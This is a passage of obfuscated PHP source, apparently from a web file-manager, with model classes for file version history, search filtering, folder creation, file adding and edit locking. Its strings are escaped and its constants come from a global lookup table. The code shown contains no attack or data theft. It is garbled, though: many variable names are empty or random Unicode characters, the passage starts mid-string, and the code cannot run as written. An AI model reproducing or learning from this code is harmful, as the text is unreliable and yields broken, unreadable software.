"\151\x6f\137\163\157\165\162\143\145\x5f\x68\151\163\164\x6f\x72\x79"; public function historyCount($ԏ) { $ =& $_SERVER[ձК]; if (!$ԏ) { return array(); } if (is_string($ԏ) || is_int($ԏ)) { $ԏ = array($ԏ); } $ͽ = array($[193], $[2230] => $[567]); $ = array($[193] => array($[7], $ԏ)); $嬥һ = $this->field($ͽ)->where($)->group($[193])->select(); return array_to_keyvalue($嬥һ, $[193], $[567]); } public function addHistory($, $ = '') { $ =& $_SERVER[ձК]; $֫ = array($[493] => $[$[193]], $[1768] => isset($[$[531]]) ? $[$[531]] : $[$[529]], $[544] => $[$[543]], $[622] => $[$[79]], $[2231] => $); if ($GLOBALS[$[6]][$[92]][$[1304]] >= 1) { $this->historyAutoClear($֫[$[193]]); $this->add($֫); } Hook::trigger($[2232], $֫); Model($[2233])->eventFileEdit($[$[193]]); } private function historyAutoClear($֘) { $ڈ =& $_SERVER[ձК]; $ = Model($ڈ[844])->get($ڈ[1326]); $ۺ = intval($GLOBALS[$ڈ[6]][$ڈ[92]][$ڈ[1304]]); $ = $ == $ڈ[1327] ? min(5, $ۺ) : $ۺ; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $Ʋ = array($ڈ[493] => $֘); $ = $this->field($ڈ[2234])->where($Ʋ)->order($ڈ[2227])->select(); if (!$ || $ >= count($)) { return; } $Ë = array_to_keyvalue($, $ڈ[12], $ڈ[477]); $Ë = array_slice($Ë, $); $ = array_to_keyvalue($, $ڈ[12], $ڈ[543]); $ = array_slice($, $); if (!$Ë || !$) { return; } $Ʋ = array($ڈ[495] => array($ڈ[7], $Ë)); $this->where($Ʋ)->delete(); Model($ڈ[546])->remove($); } public function listData($٣) { $ =& $_SERVER[ձК]; $. = array($[493] => $٣); $ӄ = $[2235]; $Ί = $this->field($ӄ)->where($.)->order($[2227])->selectPage(); $this->_listAppendUser($Ί[$[447]]); $ۚ = Model($[844])->get($[1326]); $ = 5; if ($ۚ == $[1327]) { $Ί[$[447]] = array_slice($Ί[$[447]], 0, $); $Ί[$[444]] = array($[2236] => 1, $[2237] => 20, $[2238] => 1, $[2239] => count($Ί[$[447]])); } return $Ί; } protected function _listAppendUser(&$ڴ) { $ =& $_SERVER[ձК]; $ף = array_to_keyvalue($ڴ, $[12], $[1777]); $ = Model($[599])->userListInfo($ף); foreach ($ڴ as &$߯ޣˢ) { $ = $߯ޣˢ[$[1777]]; $߯ޣˢ[$[529]] = $[$] ? $[$] : !1; } unset($߯ޣˢ); } public function fileInfo($۲) { $ =& $_SERVER[ձК]; $ = $this->tablePrefix; $نէ = "{$}\151\157\137\x66\151\154\145\40\146\151\x6c\x65\163\x20\x6f\x6e\40\x66\151\154\x65\x73\56\146\151\x6c\145\x49\104\40\x3d\x20\x68\x69\163\x74\157\x72\x79\x2e\x66\x69\x6c\145\x49\104"; return $this->alias($[2240])->where(array($[495] => $۲))->join($نէ, $[2241])->find(); } public function removeItem($) { $߬ =& $_SERVER[ձК]; $ٗ = array($߬[495] => $); $ʊ֜ = $this->where($ٗ)->find(); if ($ʊ֜) { $ = $this->where($ٗ)->delete(); Model($߬[546])->remove($ʊ֜[$߬[543]]); return $; } return !1; } public function removeBySource($ʧ) { $˴ =& $_SERVER[ձК]; if (!$ʧ) { return !1; } if (!is_array($ʧ)) { $ʧ = array($ʧ); } $ = array($˴[493] => array($˴[7], $ʧ)); $݇ = $this->field($˴[544])->where($)->select(); if ($݇) { $this->where($)->delete(); $ = array_to_keyvalue($݇, $˴[12], $˴[543]); Model($˴[546])->remove($); } return !0; } public function setDetail($ʔ, $) { $և =& $_SERVER[ձК]; return $this->where(array($և[495] => $ʔ))->save(array($և[2231] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[ձК]; $Τ = Model($[899])->sourceInfo($); $this->addHistory($Τ, LNG($[2242])); $쬤© = $this->find($); $ʌ = array($[543] => $쬤©[$[543]], $[79] => $쬤©[$[79]], $[88] => time(), $[531] => USER_ID); Model($[899])->where(array($[193] => $))->save($ʌ); return $this->where(array($[495] => $))->delete(); } public function clearSame($̑) { $֛ =& $_SERVER[ձК]; $𠫠 = $this->listData($̑); $壟穻 = array_to_keyvalue_group($𠫠, $֛[543]); $ = array(); $܀ = array(); foreach ($壟穻 as $Ç) { if (!$Ç || count($Ç) <= 1) { continue; } foreach ($Ç as $ݭ) { $[] = $ݭ[$֛[543]]; $܀[] = $ݭ[$֛[477]]; } } if (!$܀) { return; } $this->where(array($֛[477] => array($֛[7], $܀)))->delete(); Model($֛[546])->remove($); } public function userSpace() { $ =& $_SERVER[ձК]; $ = $this->tablePrefix; $盼 = array($[1768] => USER_ID); $Ԭ = "{$}\151\157\x5f\x66\151\x6c\145\x20\146\x69\154\x65\x73\x20\157\x6e\x20\x66\x69\x6c\x65\163\x2e\x66\151\x6c\145\x49\x44\40\75\x20\x68\x69\163\164\157\x72\171\x2e\146\151\154\145\111\x44"; return $this->alias($[2240])->where($盼)->join($Ԭ, $[2241])->sum($[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($ʰӄ) { $ =& $_SERVER[ձК]; $ = KodIO::fileTypeList(); $ = $[$ʰӄ]; if (!$) { return array(); } $ŭ = $[$[169]]; $ = $[7]; if (!$[$[169]]) { $Ǩ = array_to_keyvalue($, $[12], $[169]); $ŭ = implode($[50], $Ǩ); $ = $[2243]; } $ = explode($[50], trim($ŭ, $[50])); return array($, $); } public function listPathType($) { $׀ =& $_SERVER[ձК]; $ݥ䧄 = $this->fileTypeWhere($); if (!$ݥ䧄) { return array(); } $ = USER_ID; $ = Model($׀[599])->getInfo($); $ = array($׀[653] => SourceModel::TYPE_USER, $׀[586] => array($׀[617], $׀[595] . $[$׀[90]][$׀[193]] . $׀[618]), $׀[654] => $, $׀[651] => 0, $׀[652] => $ݥ䧄); return $this->listSource($); } public function listSearch($̓縥, $ډ = 300) { $Ԋ =& $_SERVER[ձК]; if (isset($̓縥[$Ԋ[2077]]) && $̓縥[$Ԋ[2077]]) { $̓縥[$Ԋ[2077]] = str_replace($Ԋ[462], $Ԋ[2244], trim($̓縥[$Ԋ[2077]])); } $鞌 = $this->_parseSearchWhere($̓縥); if (!isset($鞌[$Ԋ[507]])) { $鞌[$Ԋ[507]] = 0; } $ = $Ԋ[2245]; $Ī = $鞌; $ = $; $this->_listSearchBindPinyin($̓縥, $鞌, $); $this->alias($Ԋ[521])->_makeOrder(); $鞌 = $this->parseWhereLike($鞌); $Ǫ = $this->distinct(!0)->field($)->where($鞌)->selectPage($ډ); if ($GLOBALS[$Ԋ[6]][$Ԋ[459]][$Ԋ[460]] && Input::check($̓縥[$Ԋ[2077]], $Ԋ[660]) && $Ǫ[$Ԋ[444]][$Ԋ[430]] == 1 && $Ǫ[$Ԋ[444]][$Ԋ[445]] == 0) { $Ǫ = $this->distinct(!0)->field($)->where($Ī)->limit(1000)->select(); $Ǫ = array_page_split($Ǫ, !1, $ډ); } $this->_listSearchFileContent($Ǫ, $̓縥, $, $Ī); $this->_listSearchDesc($Ǫ, $̓縥, $); $this->_listSearchTag($Ǫ, $̓縥, $); $this->_listSearchGroupTag($Ǫ, $̓縥, $); $this->_listDataApply($Ǫ[$Ԋ[447]]); $this->_listMake($Ǫ); return $Ǫ; } private function _listSearchFileContent(&$ڢ, $ޗ, $܍컇, $ƃ) { $ =& $_SERVER[ձК]; if (!$ޗ[$[2077]] || $ڢ[$[444]][$[430]] > 1) { return; } if (!isset($ƃ[$[32]]) || !is_array($ޗ[$[543]])) { return; } $ƃ[$[543]] = array($[7], $ޗ[$[543]]); unset($ƃ[$[32]]); unset($ޗ[$[543]]); $ = $this->field($܍컇)->where($ƃ)->limit($[2246])->select(); if (!$ || count($) == 0) { return; } $ڢ[$[447]] = array_merge($, $ڢ[$[447]]); $ڢ[$[444]][$[445]] += count($); } private function _listSearchTag(&$, $, $硴) { $í =& $_SERVER[ձК]; if (!$[$í[2077]] || $[$í[444]][$í[430]] > 1) { return; } $ = Model($í[2247])->listData(); $ = array(); $彞 = $[$í[2077]]; foreach ($ as $ݹ) { $ = $ݹ[$í[32]]; $Ι = str_replace($í[53], $í[12], Pinyin::get($)); if (stripos($, $彞) !== !1 || stripos($Ι, $彞) !== !1) { $[] = $ݹ[$í[477]]; } } if (!$) { return; } $풽 = array($í[502] => array($í[7], $), $í[1777] => USER_ID); $ = Model($í[504])->field($í[87])->where($풽)->select(); $ = array_to_keyvalue($, $í[12], $í[87]); $ާ = array_unique($); $this->_listSearchMerge($, $, $硴, $ާ); } private function _listSearchDesc(&$³, $܈, $ܤ) { $ܵۈ =& $_SERVER[ձК]; if (!$܈[$ܵۈ[2077]] || $³[$ܵۈ[444]][$ܵۈ[430]] > 1) { return; } $ = array($ܵۈ[97] => $ܵۈ[528], $ܵۈ[452] => array($ܵۈ[461], $ܵۈ[2079] . $܈[$ܵۈ[2077]] . $ܵۈ[2079])); $ӝ = !1; if ($ӝ) { $ = $this->listSearchChildren($܈[$ܵۈ[192]]); $ = array_unique($); if (!$) { return; } $[$ܵۈ[193]] = array($ܵۈ[7], $); } $ = Model($ܵۈ[637])->field($ܵۈ[193])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $ܵۈ[12], $ܵۈ[193]); $this->_listSearchMerge($³, $܈, $ܤ, $); } private function _listSearchGroupTag(&$̷, $Ǥ, $ҧ) { $ =& $_SERVER[ձК]; if (!$Ǥ[$[2077]] || $̷[$[444]][$[430]] > 1 || !$Ǥ[$[192]]) { return; } $屲 = $this->sourceInfo($Ǥ[$[192]]); if (!$屲 || $屲[$[190]] != SourceModel::TYPE_GROUP) { return; } $ = $屲[$[571]]; $ = Model($[2248])->get($); $ = array(); $챒 = $Ǥ[$[2077]]; foreach ($[$[447]] as $ۦ) { $˹ = $ۦ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($˹)); if (stripos($˹, $챒) !== !1 || stripos($, $챒) !== !1) { $[] = $ۦ[$[477]]; } } if (!$) { return; } $ = array($[502] => array($[7], $), $[1777] => 0, $[33] => $[2099] . $); $Ꮒ = Model($[504])->field($[87])->where($)->select(); $Ꮒ = array_to_keyvalue($Ꮒ, $[12], $[87]); $Ӎ = array_unique($Ꮒ); $this->_listSearchMerge($̷, $Ǥ, $ҧ, $Ӎ); } private function _listSearchMerge(&$벼, $߰, $̍, $Ƚ) { $̿ =& $_SERVER[ձК]; if (!$Ƚ) { return; } $ث = array_to_keyvalue($벼[$̿[447]], $̿[12], $̿[193]); $ = array_diff($Ƚ, $ث); if (!$) { return; } $Ͽ = array($̿[193] => array($̿[7], $)); $Ҫ = $this->field($̍)->where($Ͽ)->select(); if (!$Ҫ) { return; } $Ѭ = array(); foreach ($Ҫ as $) { if ($this->_listSearchFilter($, $߰)) { $Ѭ[] = $; } } $벼[$̿[447]] = array_merge($Ѭ, $벼[$̿[447]]); $벼[$̿[444]][$̿[445]] += count($Ѭ); } private function _listSearchFilter($ᇤ͉, $) { $ꍲ =& $_SERVER[ձК]; $Қ = $ᇤ͉[$ꍲ[487]] == $ꍲ[91]; if (!strstr($ᇤ͉[$ꍲ[586]], $ꍲ[50] . $[$ꍲ[192]] . $ꍲ[50])) { return !1; } if (isset($[$ꍲ[488]]) && $[$ꍲ[488]] != $ꍲ[850]) { if ($[$ꍲ[488]] == $ꍲ[78] && !$Қ) { return !1; } if ($[$ꍲ[488]] != $ꍲ[78] && $Қ) { return !1; } if (!strstr($ᇤ͉[$ꍲ[169]], $ꍲ[50] . $[$ꍲ[488]] . $ꍲ[50])) { return !1; } } if (isset($[$ꍲ[2249]]) && $[$ꍲ[2249]] < $ᇤ͉[$ꍲ[79]]) { return !1; } if (isset($[$ꍲ[2250]]) && $[$ꍲ[2250]] > $ᇤ͉[$ꍲ[79]]) { return !1; } if (isset($[$ꍲ[667]]) && $[$ꍲ[667]] != $ᇤ͉[$ꍲ[531]]) { return !1; } return !0; } public function listSearchChildren($, $խ = 5000) { $ؼ =& $_SERVER[ձК]; $۪ = array(); $ɰ괄 = $this->sourceInfo($); $ײਾ = array($ؼ[586] => array($ؼ[461], $ɰ괄[$ؼ[586]] . $ɰ괄[$ؼ[193]] . $ؼ[618])); $ʨ = $this->field($ؼ[79])->where($ײਾ)->limit($խ + 1)->select(); $ቄ = is_array($ʨ) ? count($ʨ) : 0; if ($ቄ > $խ) { return $this->_listSearchChildrenNear($, $խ); } $Ϳ = $this->field($ؼ[193])->where($ײਾ)->select(); $۪ = array_to_keyvalue($Ϳ, $ؼ[12], $ؼ[193]); return $۪; } private function _listSearchChildrenNear($͵, $և) { $س垖 =& $_SERVER[ձК]; $ǐ = array(); $լ = array($س垖[192] => $͵); $먐 = $this->field($س垖[2251])->where($լ)->select(); $ֽϕ = array_to_keyvalue(array_filter_by_field($먐, $س垖[487], $س垖[91]), $س垖[12], $س垖[193]); $ǐ = array_merge($ǐ, array_to_keyvalue($먐, $س垖[12], $س垖[193])); if (!$ֽϕ) { return $ǐ; } $լ = array($س垖[192] => array($س垖[7], $ֽϕ)); $먐 = $this->field($س垖[2251])->where($լ)->limit($և)->select(); $ǐ = array_merge($ǐ, array_to_keyvalue($먐, $س垖[12], $س垖[193])); $ǐ = array_slice($ǐ, 0, intval($և)); return $ǐ; } private function _listSearchBindPinyin($㴍, &$, &$ђʞ) { $ӆ =& $_SERVER[ձК]; if (!isset($㴍[$ӆ[2077]]) || !$㴍[$ӆ[2077]]) { return; } if (!Input::check($㴍[$ӆ[2077]], $ӆ[395]) || strlen($㴍[$ӆ[2077]]) < 2) { return; } $ = "\114\105\x46\x54\x20\x4a\x4f\111\x4e\x20{$this->tablePrefix}\x69\157\137\x73\x6f\x75\162\143\x65\137\155\x65\164\x61\x20\155\x65\x74\x61\40\x6f\x6e\x20\163\157\165\x72\x63\x65\x2e\163\157\165\x72\143\x65\111\x44\x20\75\x20\x6d\145\x74\141\x2e\x73\157\x75\162\x63\145\111\x44"; $ = array(); $ђʞ = str_replace(array($ӆ[287], $ӆ[53], $ӆ[2252]), $ӆ[12], $ђʞ); $ђʞ = $ӆ[513] . str_replace($ӆ[50], $ӆ[514], $ђʞ); $Ʃ = $[$ӆ[32]]; unset($[$ӆ[32]]); foreach ($ as $ιן => $ϓ) { $[$ӆ[513] . $ιן] = $ϓ; } foreach ($Ʃ as $) { $[] = array($ӆ[518] => $, $ӆ[1079] => $ӆ[2081], array($ӆ[2253] => $, $ӆ[2254] => array($ӆ[7], array($ӆ[540], $ӆ[539])))); } $this->join($); $ = $; } private function _parseSearchWhere($ڃ) { $ =& $_SERVER[ձК]; $Ҁ = array(); if (isset($ڃ[$[834]]) && $ڃ[$[834]]) { $Ҁ[$[88]] = array($[2255], $ڃ[$[834]]); } if (isset($ڃ[$[835]]) && $ڃ[$[835]]) { $ = array($[2256], $ڃ[$[835]]); if ($Ҁ[$[88]]) { $Ҁ[$[88]] = array($Ҁ[$[88]], $, $[2257]); } else { $Ҁ[$[88]] = $; } } if (isset($ڃ[$[2249]]) && $ڃ[$[2249]] > 0) { $Ҁ[$[79]] = array($[2255], $ڃ[$[2249]]); } if (isset($ڃ[$[2250]]) && $ڃ[$[2250]]) { $ = array($[2256], $ڃ[$[2250]]); if ($Ҁ[$[79]]) { $Ҁ[$[79]] = array($Ҁ[$[79]], $, $[2257]); } else { $Ҁ[$[79]] = $; } } if (isset($ڃ[$[667]]) && $ڃ[$[667]]) { $Ҁ[] = array($[531] => $ڃ[$[667]], $[529] => $ڃ[$[667]], $[1079] => $[2081]); } if (isset($ڃ[$[488]]) && $ڃ[$[488]]) { $员 = $ڃ[$[488]]; if ($员 == $[78]) { $Ҁ[$[487]] = 1; } else { if ($员 == $[2258]) { $Ҁ[$[487]] = 0; } else { if ($员) { $员 = is_array($员) ? $员 : explode($[50], $员); $Ҁ[$[488]] = array($[494], $员); $Ҁ[$[487]] = 0; } } } } $this->_parseSearchParent($ڃ, $Ҁ); if (isset($ڃ[$[2077]]) && trim($ڃ[$[2077]])) { $ڥ = trim($ڃ[$[2077]]); $ = explode($[53], $ڥ); if (strlen($ڥ) > 2 && (substr($ڥ, 0, 1) == $[121] && substr($ڥ, -1) == $[121]) || substr($ڥ, 0, 1) == $[58] && substr($ڥ, -1) == $[58]) { $ڥ = substr($ڥ, 1, -1); $ = array($ڥ); } $Ҁ[$[32]] = array(array($[617], $[2079] . $ڥ . $[2079])); if (count($) > 1) { $Ҁ[$[32]] = array(); foreach ($ as $ίԂ) { if (!trim($ίԂ)) { continue; } $Ҁ[$[32]][] = array($[617], $[2079] . trim($ίԂ) . $[2079]); } } } return $Ҁ; } private function _parseSearchParent($Ǚ, &$) { $Ո =& $_SERVER[ձК]; if (!isset($Ǚ[$Ո[192]]) || !$Ǚ[$Ո[192]]) { return; } $ = $this->pathInfo($Ǚ[$Ո[192]]); $ܯ = $[$Ո[192]] . $Ո[12] === $Ո[230]; $ް = $[$Ո[190]] == $Ո[580]; if ($[$Ո[596]] == $Ո[597]) { $ = $this->sourceInfo($Ǚ[$Ո[192]]); $[$Ո[586]] = $[$Ո[586]]; } $[$Ո[657]] = array($Ո[617], $[$Ո[586]] . $Ǚ[$Ո[192]] . $Ո[618]); $ = isset($Ǚ[$Ո[1936]]) && in_array($Ո[580], $Ǚ[$Ո[1936]]); if (!$ || !$ް || !$ܯ || !$[$Ո[489]]) { return; } if (!AuthModel::authCheckRoot($[$Ո[489]][$Ո[490]])) { return; } $ = $[$Ո[571]] . $Ո[12]; if ($ == $Ո[91]) { unset($[$Ո[657]]); $[$Ո[190]] = self::TYPE_GROUP; return; } $ = Model($Ո[587])->groupChildrenAll($); $ࢊ = count($); if ($ࢊ <= 1) { return; } $ = array($Ո[192] => 0, $Ո[190] => self::TYPE_GROUP, $Ո[571] => array($Ո[7], $)); $ʲ = $this->field($Ո[2259])->where($)->limit($ࢊ)->select(); $[$Ո[657]] = array(); foreach ($ʲ as $Ü) { $[$Ո[657]][] = array($Ո[617], $Ո[595] . $Ü[$Ո[193]] . $Ո[618]); } $[$Ո[657]][] = $Ո[2081]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $Ќ =& $_SERVER[ձК]; $螒 = Model($Ќ[579])->where(array($Ќ[1768] => $))->find(); $Ŏ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $螒[$Ќ[32]]); $this->userDesktopAdd($Ŏ); return $Ŏ; } public function userDesktopAdd($ʣ) { $њ =& $_SERVER[ձК]; $榵 = LNG($њ[2260]); $ɡ = $this->mkdir($ʣ, $榵); $this->metaSet($ɡ, $њ[2261], $њ[91]); $this->metaSet($ʣ, $њ[2262], $ɡ); } public function userPathSafeAdd($ϝ) { $⍕ =& $_SERVER[ձК]; $ = Model($⍕[579])->getInfoFull($ϝ); if (!$) { return !1; } if (_get($, $⍕[600])) { return $[$⍕[541]][$⍕[2263]]; } $蠺 = $this->_mkdirRoot(SourceModel::TYPE_USER, $ϝ, $⍕[2264], $⍕[2265]); Model($⍕[579])->metaSet($ϝ, $⍕[2263], $蠺); $this->metaSet($蠺, $⍕[2266], $ϝ); return $蠺; } public function userPathAppAdd($ƺ, $쎑 = '', $ˎ = '') { $ =& $_SERVER[ձК]; $ = Model($[579])->getInfoFull($ƺ); if (!$) { return !1; } $毸 = $[$[541]] ? $[$[541]] : array(); $ = $毸[$[2267]]; if (!$) { $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ƺ, $[2268], $[2269]); Model($[579])->metaSet($ƺ, $[2267], $ . $[12]); $this->metaSet($, $[2267], $ƺ); } if (!$쎑) { return $; } $ = $毸[$[2270] . $쎑]; if (!$) { $ = $this->mkdir($, $쎑); Model($[579])->metaSet($ƺ, $[2270] . $쎑, $); $this->metaSet($, $[2270] . $쎑, $ƺ); } if (!$ˎ) { return $; } $ = $this->mkdir($, $ˎ); return $; } public function groupRootAdd($Ø) { $ =& $_SERVER[ձК]; $ = Model($[587])->where(array($[2071] => $Ø))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $Ø, $[$[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[ձК][610]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($Ȅ) { $¨ = $this->targetSourceRoot(SourceModel::TYPE_USER, $Ȅ, !0); foreach ($¨ as $Ҫ) { if (!$Ҫ) { continue; } $this->remove($Ҫ[$_SERVER[ձК][193]], !1); } } public function groupRootRemove($꩗ǵ) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $꩗ǵ); if (!$) { return; } $this->remove($[$_SERVER[ձК][193]], !1); } private function _mkdirRoot($ɍ, $, $, $ = '') { $脱 =& $_SERVER[ձК]; $ = defined($脱[2206]) ? USER_ID : 0; $ = array($脱[479] => 0, $脱[653] => $ɍ, $脱[654] => $, $脱[651] => 1, $脱[655] => $, $脱[656] => $, $脱[652] => $, $脱[657] => $脱[595], $脱[506] => 0, $脱[622] => 0, $脱[544] => 0, $脱[658] => $脱[12]); if ($ = $this->where($)->find()) { return $[$脱[193]]; } $ = "\115\157\x64\145\154\x53\x6f\165\162\143\145\56\x6d\x6b\x64\151\162\122\x6f\157\164\x2e{$ɍ}\x2e{$}\56" . $; CacheLock::lock($); $[$脱[32]] = $; $ = $this->add($); $༜ = array($脱[659] => short_id($)); $this->where(array($脱[493] => $))->save($༜); CacheLock::unlock($); return $; } private function targetSourceRoot($ᡞܣ, $ؓ, $ = false) { $ =& $_SERVER[ձК]; $ = array($[479] => 0, $[653] => $ᡞܣ, $[654] => $ؓ); if ($) { $Ƭ = $this->where($)->select(); return $Ƭ ? $Ƭ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($Ĺ) { $ =& $_SERVER[ձК]; if (is_string($Ĺ)) { $Ĺ = array($Ĺ); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $Ĺ, $[222]); $ = array($[447] => $, $[444] => array($[832] => count($Ĺ))); $this->_listDataApply($[$[447]]); $this->_listMake($); return array_to_keyvalue($[$[85]], $[571]); } public function mkfile($, $, $둉 = '', $ = REPEAT_RENAME) { $ =& $_SERVER[ձК]; $ = Model($[679])->addFileByContent($둉, $); return $this->_createFileCall($, $, $, $, $[1433]); } public function addFile($, $г, $Ӑ, $걊 = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[ձК][679])->addFile($г, $Ӑ, $걊); return $this->_createFileCall($, $Ӑ, $, $); } public function addFileByFileID($, $趁Ⱦ, $, $ = REPEAT_RENAME) { $ =& $_SERVER[ձК]; $ = Model($[679])->find($趁Ⱦ); Model($[679])->linkAdd($趁Ⱦ); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($ȁ, $̋ܝ, $һ, $ = array(), $ = REPEAT_RENAME) { $ܧ = Model($_SERVER[ձК][679])->addFileByRemote($̋ܝ, $һ, $); return $this->_createFileCall($ȁ, $һ, $ܧ, $); } private function _createFileCall($, $, $, $, $ = "\165\x70\154\157\x61\144") { $ֿ =& $_SERVER[ձК]; $ԃ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $˩ = $this->fileNameExist($, $); $̸ = $this->_createFile($, $, $, $, $ԃ); if (!$ԃ) { Model($ֿ[546])->remove($[$ֿ[543]]); } if ($ԃ && $̸ && $̸ != $˩) { Model($ֿ[2233])->eventCreate($̸, $); } $this->lockWriteEnd($, $); return $̸; } public function mkdir($ȷ, $, $ă = REPEAT_SKIP) { $܀ =& $_SERVER[ձК]; $this->setMasterDB(); $н = $this->sourceInfo($ȷ); if (!$н) { return !1; } $this->lockWriteStart($ȷ, $); if ($ă !== !1) { $䒄ڈ = $this->fileNameExist($ȷ, $); if ($䒄ڈ && $ă != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ȷ, $); return $䒄ڈ; } $ = $this->fileNameAuto($ȷ, $, $ă); } $ = array($܀[651] => 1, $܀[496] => $, $܀[652] => $܀[12], $܀[544] => 0, $܀[622] => 0); $ = $this->_addSource($, $н); Model($܀[2233])->eventCreate($, $܀[1434]); $this->lockWriteEnd($ȷ, $); return $; } public function listSourceRoot($ޮ, $, $ = "\x73\157\165\162\x63\145\x49\x44\54\x74\141\162\147\145\164\x49\104\54\x73\x69\x7a\145") { $ =& $_SERVER[ձК]; $ = $[456]; $⍏ = array(); $ȴ = 1024 * 50; $ʩ = is_array($ʩ) ? $ʩ : array(); $ = count($); $Nj = $this->tablePrefix . $[2271]; for ($ؿ = 0; $ؿ < $; $ؿ++) { $ʺ = $[$ؿ]; $ .= "\x53\x45\114\x45\x43\x54\x20\x2a\40\x46\x52\x4f\115\x20\50\123\x45\114\x45\x43\124\40{$}\40\x46\x52\x4f\x4d\x20\140{$Nj}\x60\40\x57\110\x45\x52\105\x20"; $ .= "\140\160\x61\162\x65\x6e\x74\x49\x44\140\x3d\x30\x20\x41\116\x44\x20\x60\164\x61\162\x67\145\164\x49\104\x60\x3d{$ʺ}\x20\101\x4e\104\x20\x60\164\141\162\147\x65\164\x54\x79\160\x65\140\75{$ޮ}\x20\x61\156\x64\x20\146\x69\154\x65\124\x79\x70\x65\x3d\47\47\40\154\x69\155\151\x74\x20\61\x29\40\141\163\x20\x74\142\x5f{$ؿ}\40\125\x4e\x49\x4f\x4e\40\101\x4c\x4c\x20"; if ((strlen($) >= $ȴ || $ؿ == $ - 1) && $) { $ = substr($, 0, -strlen($[1117])); $ᅚ = $this->query($); $ = $[12]; $⍏ = array_merge($⍏, $ᅚ); } } return $⍏; } private function _createFile($É, $, $Ħнǁ, $Ӥ, &$ߵ) { $ =& $_SERVER[ձК]; $ƆŌ = $this->sourceInfo($É); if (!$Ħнǁ || !$ƆŌ) { return !1; } if ($Ӥ !== !1) { $謘 = $this->fileNameExist($É, $); } $ߵ = !0; if ($Ӥ && $謘) { if ($Ӥ == REPEAT_SKIP) { $ߵ = !1; return $謘; } else { if ($Ӥ == REPEAT_REPLACE) { $ɑ = $this->sourceInfo($謘); $ល = $this->fileHistory($ɑ, $Ħнǁ[$[543]], $Ħнǁ[$[79]]); if (!$ល) { $ߵ = !1; } else { $this->folderSizeReset($É); } return $謘; } else { $ = $this->fileNameAuto($É, $, $Ӥ, !1); } } } $ = array($[651] => 0, $[496] => $, $[652] => substr(get_path_ext($), 0, 10), $[544] => $Ħнǁ[$[543]], $[622] => $Ħнǁ[$[79]]); $ = $this->_addSource($, $ƆŌ); $this->folderSizeReset($É, intval($[$[79]])); return $; } protected function fileHistory($֏, $, $洤) { $ؐʓ =& $_SERVER[ձК]; if ($֏[$ؐʓ[543]] == $) { return !1; } $this->checkLock($֏[$ؐʓ[193]], $); Model($ؐʓ[2272])->addHistory($֏); $ݴ = array($ؐʓ[656] => USER_ID, $ؐʓ[500] => time(), $ؐʓ[543] => $, $ؐʓ[79] => $洤); $this->where(array($ؐʓ[493] => $֏[$ؐʓ[193]]))->save($ݴ); $this->sourceCacheClear($֏[$ؐʓ[193]]); return !0; } public function checkLock($, $Ь) { $ӫފ =& $_SERVER[ձК]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ߏ = Session::get($ӫފ[2273]); $è = substr($[$ӫފ[32]], 0, -1 - strlen($[$ӫފ[169]])) . $ӫފ[1295] . $ߏ . $ӫފ[10] . $[$ӫފ[169]]; $ = Model($ӫފ[679])->find($Ь); $this->_createFileCall($[$ӫފ[192]], $è, $, REPEAT_REPLACE, $ӫފ[1433]); $ݒ = $[$ӫފ[541]][$ӫފ[615]]; $ = $ݒ[$ӫފ[2274]] ? $ݒ[$ӫފ[2274]] : $ݒ[$ӫފ[32]]; show_json(LNG($ӫފ[2275]) . $ӫފ[2276] . LNG($ӫފ[2277]) . $ӫފ[2278] . $ . $ӫފ[2279], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[ձК]; if (!_get($, $[611], 0)) { return !1; } if ($[$[541]][$[614]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[92]][$[612]]; if ($[$[541]][$[613]] <= time() - $) { $this->metaSet($[$[193]], $[614], null); $this->metaSet($[$[193]], $[613], null); } if ($) { $this->metaSet($[$[193]], $[613], time()); } return !1; } private function _addSource($, $) { $ڑ =& $_SERVER[ձК]; $ũ = defined($ڑ[2206]) ? USER_ID : 0; $ = array($ڑ[653] => $[$ڑ[190]], $ڑ[654] => $[$ڑ[571]], $ڑ[655] => $ũ, $ڑ[656] => $ũ, $ڑ[479] => $[$ڑ[193]], $ڑ[657] => $[$ڑ[586]] . $[$ڑ[193]] . $ڑ[50], $ڑ[506] => 0, $ڑ[658] => $ڑ[12]); $ = array_merge($, $); $this->updateModifyTime($[$ڑ[192]]); $۸ = $ڑ[2280] . $[$ڑ[193]]; if (isset(self::$cacheChildList[$۸])) { unset(self::$cacheChildList[$۸]); } static $ = false; if (!$) { Hook::trigger($ڑ[641], $); $ = !0; } $ = $this->add($); $ = array($ڑ[659] => short_id($)); $this->where(array($ڑ[493] => $))->save($); $this->setNamePinyin($, $[$ڑ[32]]); return $; } public function remove($Ó, $΅ = true) { $۽ =& $_SERVER[ձК]; $ = $this->sourceInfo($Ó); $ë = intval($[$۽[190]]) === self::TYPE_SYSTEM; $ = Model($۽[510])->get($۽[2281]) == $۽[91]; if ($ë || $΅ || !$) { return $this->removeNow($Ó, $΅); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$۽[190]] == self::TYPE_USER ? $۽[667] : $۽[580]; if ($ == $۽[667]) { $͜ = Model($۽[579])->getInfo($[$۽[571]]); $lj = !empty($͜[$۽[2274]]) ? $͜[$۽[2274]] : $͜[$۽[32]]; $lj = $۽[339] . $lj . $۽[2282] . $[$۽[571]]; } else { $͜ = 